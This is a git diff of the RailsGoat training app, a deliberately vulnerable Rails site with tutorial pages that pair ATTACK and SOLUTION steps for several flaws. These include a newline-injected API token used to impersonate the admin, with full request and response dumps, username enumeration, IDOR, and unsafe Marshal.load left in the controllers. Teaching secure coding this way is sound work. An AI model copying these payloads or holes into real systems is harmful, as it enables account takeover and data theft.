diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 1c5c160..f82afc5 100755 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -1,5 +1,4 @@ class AdminController < ApplicationController - before_filter :administrative, :if => :admin_param skip_before_filter :has_info @@ -67,5 +66,4 @@ class AdminController < ApplicationController def admin_param params[:admin_id] != '1' end - end diff --git a/app/controllers/api/v1/mobile_controller.rb b/app/controllers/api/v1/mobile_controller.rb index 63a575d..f4c01e3 100644 --- a/app/controllers/api/v1/mobile_controller.rb +++ b/app/controllers/api/v1/mobile_controller.rb @@ -1,5 +1,4 @@ class Api::V1::MobileController < ApplicationController - skip_before_filter :authenticated before_filter :mobile_request? @@ -30,5 +29,4 @@ class Api::V1::MobileController < ApplicationController request.user_agent =~ /ios|android/i end end - end diff --git a/app/controllers/api/v1/users_controller.rb b/app/controllers/api/v1/users_controller.rb index 5ee6797..643e5f9 100644 --- a/app/controllers/api/v1/users_controller.rb +++ b/app/controllers/api/v1/users_controller.rb @@ -1,57 +1,54 @@ class Api::V1::UsersController < ApplicationController + skip_before_filter :authenticated + before_filter :valid_api_token + before_filter :extrapolate_user - skip_before_filter :authenticated - before_filter :valid_api_token - before_filter :extrapolate_user + respond_to :json - respond_to :json + def index + # We removed the .as_json code from the model, just seemed like extra work. + # dunno, maybe useful at a later time? + #respond_with @user.admin ? User.all.as_json : @user.as_json + respond_with @user.admin ? User.all : @user + end - def index - # We removed the .as_json code from the model, just seemed like extra work. - # dunno, maybe useful at a later time? - #respond_with @user.admin ? User.all.as_json : @user.as_json + def show + respond_with @user.as_json + end - respond_with @user.admin ? User.all : @user - end + private - def show - respond_with @user.as_json - end + def valid_api_token + authenticate_or_request_with_http_token do |token, options| + # TODO :add some functionality to check if the HTTP Header is valid + identify_user(token) + end + end -private + def identify_user(token="") + # We've had issues with URL encoding, etc. causing issues so just to be safe + # we will go ahead and unescape the user's token + unescape_token(token) + @clean_token =~ /(.*?)-(.*)/ + id = $1 + hash = $2 + (id && hash) ? true : false + check_hash(id, hash) ? true : false + end - def valid_api_token - authenticate_or_request_with_http_token do |token, options| - # TODO :add some functionality to check if the HTTP Header is valid - identify_user(token) - end - end + def check_hash(id, hash) + digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}") + hash == digest + end - def identify_user(token="") - # We've had issues with URL encoding, etc. causing issues so just to be safe - # we will go ahead and unescape the user's token - unescape_token(token) - @clean_token =~ /(.*?)-(.*)/ - id = $1 - hash = $2 - (id && hash) ? true : false - check_hash(id, hash) ? true : false - end - - def check_hash(id, hash) - digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}") - hash == digest - end - - # We had some issues with the token and url encoding... - # this is an attempt to normalize the data. - def unescape_token(token="") - @clean_token = CGI::unescape(token) - end - - # Added a method to make it easy to figure out who the user is. - def extrapolate_user - @user = User.find_by_id(@clean_token.split("-").first) - end + # We had some issues with the token and url encoding... + # this is an attempt to normalize the data. + def unescape_token(token="") + @clean_token = CGI::unescape(token) + end + # Added a method to make it easy to figure out who the user is. + def extrapolate_user + @user = User.find_by_id(@clean_token.split("-").first) + end end diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb index 5ba7518..dcf7d08 100755 --- a/app/controllers/application_controller.rb +++ b/app/controllers/application_controller.rb @@ -1,5 +1,4 @@ class ApplicationController < ActionController::Base - before_filter :authenticated, :has_info, :create_analytic helper_method :current_user, :is_admin?, :sanitize_font @@ -53,5 +52,4 @@ class ApplicationController < ActionController::Base css # css if css.match(/\A[0-9]+([\%]|pt)\z/) end - end diff --git a/app/controllers/benefit_forms_controller.rb b/app/controllers/benefit_forms_controller.rb index da34c50..23546ba 100644 --- a/app/controllers/benefit_forms_controller.rb +++ b/app/controllers/benefit_forms_controller.rb @@ -4,7 +4,6 @@ class BenefitFormsController < ApplicationController @benefits = Benefits.new end - def download begin path = params[:name] @@ -26,7 +25,6 @@ class BenefitFormsController < ApplicationController redirect_to user_benefit_forms_path(:user_id => current_user.user_id) end - =begin # More secure version def download @@ -47,6 +45,4 @@ class BenefitFormsController < ApplicationController end end =end - - end diff --git a/app/controllers/dashboard_controller.rb b/app/controllers/dashboard_controller.rb index 9ce2834..4bb1c20 100755 --- a/app/controllers/dashboard_controller.rb +++ b/app/controllers/dashboard_controller.rb @@ -1,5 +1,4 @@ class DashboardController < ApplicationController - skip_before_filter :has_info def home @@ -10,5 +9,4 @@ class DashboardController < ApplicationController cookies[:font] = params[:font] end end - end diff --git a/app/controllers/messages_controller.rb b/app/controllers/messages_controller.rb index 706f103..83b992c 100644 --- a/app/controllers/messages_controller.rb +++ b/app/controllers/messages_controller.rb @@ -33,5 +33,4 @@ class MessagesController < ApplicationController end end end - end \ No newline at end of file diff --git a/app/controllers/password_resets_controller.rb b/app/controllers/password_resets_controller.rb index 533643a..98ebdab 100644 --- a/app/controllers/password_resets_controller.rb +++ b/app/controllers/password_resets_controller.rb @@ -1,7 +1,6 @@ class PasswordResetsController < ApplicationController skip_before_filter :authenticated - def reset_password user = Marshal.load(Base64.decode64(params[:user])) unless params[:user].nil? diff --git a/app/controllers/pay_controller.rb b/app/controllers/pay_controller.rb index 2089179..6245c62 100644 --- a/app/controllers/pay_controller.rb +++ b/app/controllers/pay_controller.rb @@ -39,5 +39,4 @@ class PayController < ApplicationController format.json {render :json => {:account_num => decrypted || "No Data" }} end end - end diff --git a/app/controllers/performance_controller.rb b/app/controllers/performance_controller.rb index 767fc65..1ba6aa8 100644 --- a/app/controllers/performance_controller.rb +++ b/app/controllers/performance_controller.rb @@ -3,5 +3,4 @@ class PerformanceController < ApplicationController def index @perf = current_user.performance end - end diff --git a/app/controllers/retirement_controller.rb b/app/controllers/retirement_controller.rb index b3663fc..541b083 100644 --- a/app/controllers/retirement_controller.rb +++ b/app/controllers/retirement_controller.rb @@ -3,5 +3,4 @@ class RetirementController < ApplicationController def index @info = current_user.retirement end - end diff --git a/app/controllers/schedule_controller.rb b/app/controllers/schedule_controller.rb index f9d8a57..65caa2e 100644 --- a/app/controllers/schedule_controller.rb +++ b/app/controllers/schedule_controller.rb @@ -1,4 +1,5 @@ class ScheduleController < ApplicationController + def create message = false @@ -55,5 +56,4 @@ class ScheduleController < ApplicationController end return vals end - end diff --git a/app/controllers/sessions_controller.rb b/app/controllers/sessions_controller.rb index 4b90e41..fdf2edc 100755 --- a/app/controllers/sessions_controller.rb +++ b/app/controllers/sessions_controller.rb @@ -1,35 +1,34 @@ class SessionsController < ApplicationController - skip_before_filter :has_info skip_before_filter :authenticated, :only => [:new, :create] def new - @url = params[:url] - redirect_to home_dashboard_index_path if current_user + @url = params[:url] + redirect_to home_dashboard_index_path if current_user end def create - path = params[:url].present? ? params[:url] : home_dashboard_index_path - begin - # Normalize the email address, why not - user = User.authenticate(params[:email].to_s.downcase, params[:password]) - # @url = params[:url] + path = params[:url].present? ? params[:url] : home_dashboard_index_path + begin + # Normalize the email address, why not + user = User.authenticate(params[:email].to_s.downcase, params[:password]) + # @url = params[:url] rescue Exception => e - end + end - if user - if params[:remember_me] - cookies.permanent[:auth_token] = user.auth_token if User.where(:user_id => user.user_id).exists? - else - session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? - end - redirect_to path + if user + if params[:remember_me] + cookies.permanent[:auth_token] = user.auth_token if User.where(:user_id => user.user_id).exists? else - # Removed this code, just doesn't seem specific enough! - # flash[:error] = "Either your username and password is incorrect" - flash[:error] = e.message - render "new" + session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? end + redirect_to path + else + # Removed this code, just doesn't seem specific enough! + # flash[:error] = "Either your username and password is incorrect" + flash[:error] = e.message + render "new" + end end def destroy @@ -37,5 +36,4 @@ class SessionsController < ApplicationController reset_session redirect_to root_path end - end diff --git a/app/controllers/tutorials_controller.rb b/app/controllers/tutorials_controller.rb index 3a294d5..d8e977b 100755 --- a/app/controllers/tutorials_controller.rb +++ b/app/controllers/tutorials_controller.rb @@ -1,5 +1,4 @@ class TutorialsController < ApplicationController - skip_before_filter :has_info skip_before_filter :authenticated @@ -18,16 +17,16 @@ class TutorialsController < ApplicationController end def xss - @code = %{ -
+
Within app/models/User.rb
-
- validates :password, :presence => true,
- :confirmation => true,
- :length => {:within => 6..40},
- :on => :create
-
- - The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity. -
+
+ validates :password, :presence => true,
+ :confirmation => true,
+ :length => {:within => 6..40},
+ :on => :create
+
+ + The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity. +
Lack of Password Complexity - ATTACK
-- Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com"). -
-Lack of Password Complexity - SOLUTION
-- This regular expression validates the password has the following requirements: -
++ Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com"). +
+Lack of Password Complexity - SOLUTION
++ This regular expression validates the password has the following requirements: +
validates :password, :presence => true,
:confirmation => true,
:if => :password,
:format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/}
-
+
- I wonder how strong the administrator's password is? -
++ I wonder how strong the administrator's password is? +
- Overly verbose error messages that indicate whether or not a user exists can assist an attacker with brute-forcing accounts. In attempting to harvest valid usernames for a password-guessing campaign, these messages can prove very useful. -
+ Overly verbose error messages that indicate whether or not a user exists can assist an attacker with brute-forcing accounts. In attempting to harvest valid usernames for a password-guessing campaign, these messages can prove very useful. +Username and Password Enumeration
-Within /app/models/user.rb:
+
Within /app/models/user.rb:
-
- def self.authenticate(email, password)
- auth = nil
- user = find_by_email(email)
- # I heard something about hashing, dunno, why bother really. Nobody will get access to my stuff!
- if user
- if user.password == password
- auth = user
- else
- raise "Incorrect Password!"
- end
- else
- raise "#{email} doesn't exist!"
- end
- return auth
- end
-
- On lines 9 and 12 you'll notice that the application generates two error messages.
-Within /app/controllers/sessions_controller.rb:
-
- def create +++ def self.authenticate(email, password) + auth = nil + user = find_by_email(email) + # I heard something about hashing, dunno, why bother really. Nobody will get access to my stuff! + if user + if user.password == password + auth = user + else + raise "Incorrect Password!" + end + else + raise "#{email} doesn't exist!" + end + return auth + end ++On lines 9 and 12 you'll notice that the application generates two error messages.
+Within /app/controllers/sessions_controller.rb:
+
+ def create - begin - user = User.authenticate(params[:email], params[:password]) - rescue Exception => e - end + begin + user = User.authenticate(params[:email], params[:password]) + rescue Exception => e + end - if user - session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? - redirect_to home_dashboard_index_path - else - flash[:error] = e.message - render "new" - end + if user + session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? + redirect_to home_dashboard_index_path + else + flash[:error] = e.message + render "new" + end - end --On line 5 you see the exception message object "e" is created. On line 11, the message is displayed.
-- One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site. -
+ end +
On line 5 you see the exception message object "e" is created. On line 11, the message is displayed.
++ One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site. +
- Username and Password Enumeration - SOLUTION -
-Within /app/controllers/sessions_controller.rb
+ Username and Password Enumeration - SOLUTION + +Within /app/controllers/sessions_controller.rb
- def create + def create - begin - user = User.authenticate(params[:email], params[:password]) - rescue Exception => e - end + begin + user = User.authenticate(params[:email], params[:password]) + rescue Exception => e + end - if user - session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? - redirect_to home_dashboard_index_path - else - flash[:error] = "Either your username and password is incorrect" #e.message - render "new" - end + if user + session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? + redirect_to home_dashboard_index_path + else + flash[:error] = "Either your username and password is incorrect" #e.message + render "new" + end - end --
- Although this fix is neither systemic nor does it address the problematic code at its core (within the user model), it does provide a quick solution. On line 12, we comment out the "e.message code" and instead provide a very generic error message that lacks specificity on what credential was incorrectly entered. -
+ end + ++ Although this fix is neither systemic nor does it address the problematic code at its core (within the user model), it does provide a quick solution. On line 12, we comment out the "e.message code" and instead provide a very generic error message that lacks specificity on what credential was incorrectly entered. +
- Enter an email address that wouldn't likely exist into the login form. Analyze the result.
- Can you leverage this to gain unauthorized access?
-
+ Enter an email address that wouldn't likely exist into the login form. Analyze the result.
+ Can you leverage this to gain unauthorized access?
+
Warning, this is a spoiler
-Are you sure you want to see the credentials?
-- Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified. -
+ Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified. +- Within the app/controllers/work_info_controller.rb file the follow code can be found: -
-
- <%= %q{
- class WorkInfoController < ApplicationController
+ Within the app/controllers/work_info_controller.rb file the follow code can be found:
+
+
+ <%= %q{
+ class WorkInfoController < ApplicationController
- def index
- @user = User.find_by_user_id(params[:user_id])
- if !(@user)
- flash[:error] = "Sorry, no user with that user id exists"
- redirect_to home_dashboard_index_path
- end
- end
+ def index
+ @user = User.find_by_user_id(params[:user_id])
+ if !(@user)
+ flash[:error] = "Sorry, no user with that user id exists"
+ redirect_to home_dashboard_index_path
+ end
+ end
- end
- } %>
-
-
- Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema.
-
+ end
+ } %>
+
+ + Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema. +
Insecure Direct Object Reference - ATTACK
-
- Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info.
- Now change it to someone else's user ID.
Example - /users/2/work_info
-
Insecure Direct Object Reference - SOLUTION
-- The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message). -
-- def index - @user = current_user - if !(@user) || @user.admin - flash[:error] = "Apologies, looks like something went wrong" - redirect_to home_dashboard_index_path - end - end -+
+ Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info.
+ Now change it to someone else's user ID.
Example - /users/2/work_info
+
Insecure Direct Object Reference - SOLUTION
++ The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message). +
++ def index + @user = current_user + if !(@user) || @user.admin + flash[:error] = "Apologies, looks like something went wrong" + redirect_to home_dashboard_index_path + end + end +
- Regular expressions are a common way to extract the data you want from the data you do not want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks. -
+ Regular expressions are a common way to extract the data you want from the data you do not want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks. +- Within the file app/controllers/api/v1/users_controller.rb: -
-- before_filter :valid_api_token - before_filter :extrapolate_user --
- The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints. -
-- def valid_api_token - authenticate_or_request_with_http_token do |token, options| - # TODO :add some functionality to check if the HTTP Header is valid - identify_user(token) - end - end + Within the file app/controllers/api/v1/users_controller.rb: + +++ before_filter :valid_api_token + before_filter :extrapolate_user +++ The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints. +
++ def valid_api_token + authenticate_or_request_with_http_token do |token, options| + # TODO :add some functionality to check if the HTTP Header is valid + identify_user(token) + end + end - def identify_user(token="") - # We've had issues with URL encoding, etc. causing issues so just to be safe - # we will go ahead and unescape the user's token - unescape_token(token) - @clean_token =~ /(.*?)-(.*)/ - id = $1 - hash = $2 - (id && hash) ? true : false - check_hash(id, hash) ? true : false - end + def identify_user(token="") + # We've had issues with URL encoding, etc. causing issues so just to be safe + # we will go ahead and unescape the user's token + unescape_token(token) + @clean_token =~ /(.*?)-(.*)/ + id = $1 + hash = $2 + (id && hash) ? true : false + check_hash(id, hash) ? true : false + end - def check_hash(id, hash) - digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}") - hash == digest - end + def check_hash(id, hash) + digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}") + hash == digest + end - # We had some issues with the token and url encoding... - # this is an attempt to normalize the data. - def unescape_token(token="") - @clean_token = CGI::unescape(token) - end --- This first validation, valid_api_token, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid.
-
Meaning, if the hash (check_hash) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid.
The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access. -- # Added a method to make it easy to figure out who the user is. - def extrapolate_user - @user = User.find_by_id(@clean_token.split("-").first) - end --- Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: %0a).We meant or expected for a user to enter a token such as: -
-- Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737 --- However, the user actually enters: -
-- Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737 --- This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen ("-") character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be "2\n1". When performing a find_by_*, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user! -
+ # We had some issues with the token and url encoding... + # this is an attempt to normalize the data. + def unescape_token(token="") + @clean_token = CGI::unescape(token) + end +
+ This first validation, valid_api_token, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid.
Meaning, if the hash (check_hash) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid.
The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access.
+
+ # Added a method to make it easy to figure out who the user is.
+ def extrapolate_user
+ @user = User.find_by_id(@clean_token.split("-").first)
+ end
+
+ + Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: %0a).We meant or expected for a user to enter a token such as: +
++ Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737 ++
+ However, the user actually enters: +
++ Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737 ++
+ This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen ("-") character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be "2\n1". When performing a find_by_*, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user! +
Broken Regular Expression ATTACK:
-- As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request should look like: -
-
- GET /api/v1/users HTTP/1.1
- Host: railsgoat.dev
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-US,en;q=0.5
- Accept-Encoding: gzip, deflate
- Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc
- Content-Length: 4
-
- - This is the response: -
-- HTTP/1.1 200 OK - Content-Type: application/json; charset=utf-8 - X-UA-Compatible: IE=Edge - ETag: "6b4caf343a20865de174b2b530b945dd" - Cache-Control: max-age=0, private, must-revalidate - X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b - X-Runtime: 0.008342 - Connection: close +++ As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request should look like: +
++ GET /api/v1/users HTTP/1.1 + Host: railsgoat.dev + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc + Content-Length: 4 +++ This is the response: +
++ HTTP/1.1 200 OK + Content-Type: application/json; charset=utf-8 + X-UA-Compatible: IE=Edge + ETag: "6b4caf343a20865de174b2b530b945dd" + Cache-Control: max-age=0, private, must-revalidate + X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b + X-Runtime: 0.008342 + Connection: close - {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com", - "first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd", - "updated_at":"2014-01-23T16:17:10Z","user_id":2} --- We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate being and admin by prepending 1%0a: -
-- GET /api/v1/users HTTP/1.1 - Host: railsgoat.dev - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: en-US,en;q=0.5 - Accept-Encoding: gzip, deflate - Authorization: Token token=1%0a2-050ddd40584978fe9e82840b8b95abb98e4786dc - Content-Length: 4 --- The following is a response from the application (note - we get bonus points because as an admin we can retrieve EVERYONE's data): -
-- HTTP/1.1 200 OK - Content-Type: application/json; charset=utf-8 - X-UA-Compatible: IE=Edge - ETag: "916d3a7b17b24bd84806393e5ef4ccd9" - Cache-Control: max-age=0, private, must-revalidate - X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c - X-Runtime: 0.009111 - Connection: close + {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com", + "first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd", + "updated_at":"2014-01-23T16:17:10Z","user_id":2} +++ We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate being and admin by prepending 1%0a: +
++ GET /api/v1/users HTTP/1.1 + Host: railsgoat.dev + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Authorization: Token token=1%0a2-050ddd40584978fe9e82840b8b95abb98e4786dc + Content-Length: 4 +++ The following is a response from the application (note - we get bonus points because as an admin we can retrieve EVERYONE's data): +
++ HTTP/1.1 200 OK + Content-Type: application/json; charset=utf-8 + X-UA-Compatible: IE=Edge + ETag: "916d3a7b17b24bd84806393e5ef4ccd9" + Cache-Control: max-age=0, private, must-revalidate + X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c + X-Runtime: 0.009111 + Connection: close - [{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name": - "Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1}, - {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino", - "password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at": - "2014-01-23T16:17:10Z","email":"jim@metacorp.com","first_name":"Jim","id":3,"last_name":"Manico","password": - "e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false, - "created_at":"2014-01-23T16:17:10Z","email":"mike@metacorp.com","first_name":"Mike","id":4,"last_name":"McCabe", - "password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at": - "2014-01-23T16:17:10Z","email":"ken@metacorp.com","first_name":"Ken","id":5,"last_name":"Johnson","password": - "67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at": - "2014-03-09T13:58:28Z","email":"test1@test.com","first_name":"test","id":6,"last_name":"test","password": - "05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at": - "2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password": - "91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}] --Broken Regular Expression SOLUTION:
-- There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters. -
-- def identify_user(token="") - # We've had issues with URL encoding, etc. causing issues so just to be safe - # we will go ahead and unescape the user's token - unescape_token(token) - @clean_token =~ /\A(.*?)-(.*)\z/ - id = $1 - hash = $2 - (id && hash) ? true : false - check_hash(id, hash) ? true : false - end -+ [{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name": + "Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1}, + {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino", + "password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at": + "2014-01-23T16:17:10Z","email":"jim@metacorp.com","first_name":"Jim","id":3,"last_name":"Manico","password": + "e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false, + "created_at":"2014-01-23T16:17:10Z","email":"mike@metacorp.com","first_name":"Mike","id":4,"last_name":"McCabe", + "password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at": + "2014-01-23T16:17:10Z","email":"ken@metacorp.com","first_name":"Ken","id":5,"last_name":"Johnson","password": + "67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at": + "2014-03-09T13:58:28Z","email":"test1@test.com","first_name":"test","id":6,"last_name":"test","password": + "05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at": + "2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password": + "91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}] +
Broken Regular Expression SOLUTION:
++ There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters. +
++ def identify_user(token="") + # We've had issues with URL encoding, etc. causing issues so just to be safe + # we will go ahead and unescape the user's token + unescape_token(token) + @clean_token =~ /\A(.*?)-(.*)\z/ + id = $1 + hash = $2 + (id && hash) ? true : false + check_hash(id, hash) ? true : false + end +
+
The Railsgoat application allows employees of Metacorp to choose the Remember Me option at login, which creates a cookie named auth-token. The encryption routine used to generate the auth-token allows the application to extract a user ID. When decrypted, a user ID is extracted and the user is authorized appropriately. This same encryption routine is used elsewhere in the application in a manner such that a clever attacker can generate an auth_token cookie with whatever user ID they prefer and authorize to the application as a different user. -
+- Within the file lib/encryption.rb, there are two encryption related methods that we have exposed: -
-
- # Added a re-usable encryption routine, shouldn't be an issue!
- def self.encrypt_sensitive_value(val="")
- aes = OpenSSL::Cipher::Cipher.new(cipher_type)
- aes.encrypt
- aes.key = key
- aes.iv = iv if iv != nil
- new_val = aes.update("#{val}") + aes.final
- Base64.strict_encode64(new_val).encode('utf-8')
- end
+
+ Within the file lib/encryption.rb, there are two encryption related methods that we have exposed:
+
+
+ # Added a re-usable encryption routine, shouldn't be an issue!
+ def self.encrypt_sensitive_value(val="")
+ aes = OpenSSL::Cipher::Cipher.new(cipher_type)
+ aes.encrypt
+ aes.key = key
+ aes.iv = iv if iv != nil
+ new_val = aes.update("#{val}") + aes.final
+ Base64.strict_encode64(new_val).encode('utf-8')
+ end
- def self.decrypt_sensitive_value(val="")
- aes = OpenSSL::Cipher::Cipher.new(cipher_type)
- aes.decrypt
- aes.key = key
- aes.iv = iv if iv != nil
- decoded = Base64.strict_decode64("#{val}")
- aes.update("#{decoded}") + aes.final
- end
-
-
